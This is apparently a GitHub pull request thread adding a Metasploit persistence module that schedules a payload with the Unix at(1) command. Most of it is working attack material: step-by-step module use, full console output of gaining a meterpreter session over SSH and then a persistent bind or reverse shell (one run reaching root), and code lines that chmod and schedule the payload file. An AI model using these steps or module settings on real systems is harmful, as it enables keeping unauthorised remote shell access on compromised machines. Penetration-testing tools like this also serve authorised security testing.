at(1) persistence

[jhart-r7]

This was an idea taken from @h00die's #7003 which added cron "persistence". Maybe somebody will find this useful, someday.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• Get a session on a suitable Linux/Unix/BSD target
• use exploit/multi/local/at_persistence
• set SESSION <session>
• set PAYLOAD <payload>
• check, and confirm that the target is suitable for exploitation
• exploit, and confirm that within ~60s you get a shell
• Optionally fiddle with CLEANUP and TIME regular options and/or PATH advanced option

Sample output:

resource (/tmp/at.rc)> use exploit/multi/ssh/sshexec
resource (/tmp/at.rc)> set USERNAME test
USERNAME => test
resource (/tmp/at.rc)> set PASSWORD test
PASSWORD => test
resource (/tmp/at.rc)> set RHOST a.b.c.d
RHOST => a.b.c.d
resource (/tmp/at.rc)> set PAYLOAD linux/x86/meterpreter/bind_tcp
PAYLOAD => linux/x86/meterpreter/bind_tcp
resource (/tmp/at.rc)> run -j
[*] Exploit running as background job.
resource (/tmp/at.rc)> sleep 5
[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] a.b.c.d:22 - Sending stager...
[*] Command Stager progress -  42.09% done (306/727 bytes)
[*] Command Stager progress - 100.00% done (727/727 bytes)
[*] Sending stage (1495599 bytes) to a.b.c.d
[*] Meterpreter session 1 opened (a.b.c.a:52864 -> a.b.c.d:4444) at 2016-09-14 16:17:34 -0700
resource (/tmp/at.rc)> use exploit/multi/local/at_persistence
resource (/tmp/at.rc)> set PAYLOAD cmd/unix/bind_perl
PAYLOAD => cmd/unix/bind_perl
resource (/tmp/at.rc)> set RHOST a.b.c.d
RHOST => a.b.c.d
resource (/tmp/at.rc)> set RPORT 12345
RPORT => 12345
resource (/tmp/at.rc)> set SESSION 1
SESSION => 1
resource (/tmp/at.rc)> set CLEANUP false
CLEANUP => false
resource (/tmp/at.rc)> run
[*] Started bind handler
[*] Waiting  up to 65sec for execution
[*] Command shell session 2 opened (a.b.c.a:52953 -> a.b.c.d:4444) at 2016-09-14 16:18:00 -0700

id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

[h00die]

no markdown docs? :(

[jhart-r7]

@h00die I was not aware those are now a thing, but after reading CONTRIBUTING.md I see the relevant note. I'll add this tomorrow.

[wvu]

That doc is growing like a tumor.

[wvu]

I guess I'll grab this and hopefully land it sooner than I did @h00die's stuff (so sorry, dude). Need to stop obsessing over the little things. This Unix stuff is near and dear to my heart.

[h00die]

@wvu-r7 no hard feelings :) it landed didn't it!

[h00die]

for the markdown scenario, id pretty much copy your "Sample Output" above and place it in there. Its nice to see what a 'good' run looks like in those docs, so when it doesn't work for someone in 2yrs they can at least see what is supposed to happen and start to diagnose. Looks good though!

[h00die]

Whew, now that a bunch of other PRs landed, this one should besoon ;)
Ttt

[nixawk]

@jhart-r7 Please set a executable bit for the payload file. If not, we can't gain a shell session.

$ ls -l
total 32
drwxrwxrwt   6 root  wheel   512 Oct 22 04:00 .
drwxr-xr-x  18 root  wheel  1024 Oct 22 02:53 ..
-rw-r--r--   1 root  wheel    19 Oct 22 03:44 PERL5_DEFAULT
-rw-------   1 root  wheel   271 Oct 22 03:52 tmp.AfQ6pETw

If it is a executable file,

msf exploit(at_persistence) > set SESSION 6
SESSION => 6
msf exploit(at_persistence) > run

[*] Started reverse TCP handler on 192.168.1.101:4444
[*] Waiting  up to 65sec for execution
[*] Command shell session 7 opened (192.168.1.101:4444 -> 192.168.1.104:22427) at 2016-10-22 03:00:00 -0500
[+] Deleted /tmp/tmp.M6iX28b2

3201563152
KcPQRdwdwHCeWuDGQHdkPxYpJGNoKhCr
true
HQzSDuajZYUmTSAFFYvxwtalQapzTmHT
sHxynuadbQmBJapqdgauTsjtnnBelHqP
oCZqmJihjtrnMDYawTCyJegfmmEQaaGQ

id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

[nixawk]

    cmd_exec("chmod 700 #{payload_file}")
    cmd_exec("at -f #{payload_file} #{datastore['TIME']}")

[wvu]

b65a62b, c5d7fba

[wvu]

Release Notes

A new persistence module (exploit/unix/local/at_persistence) that takes advantage of the at(1) command on Unix systems has been added.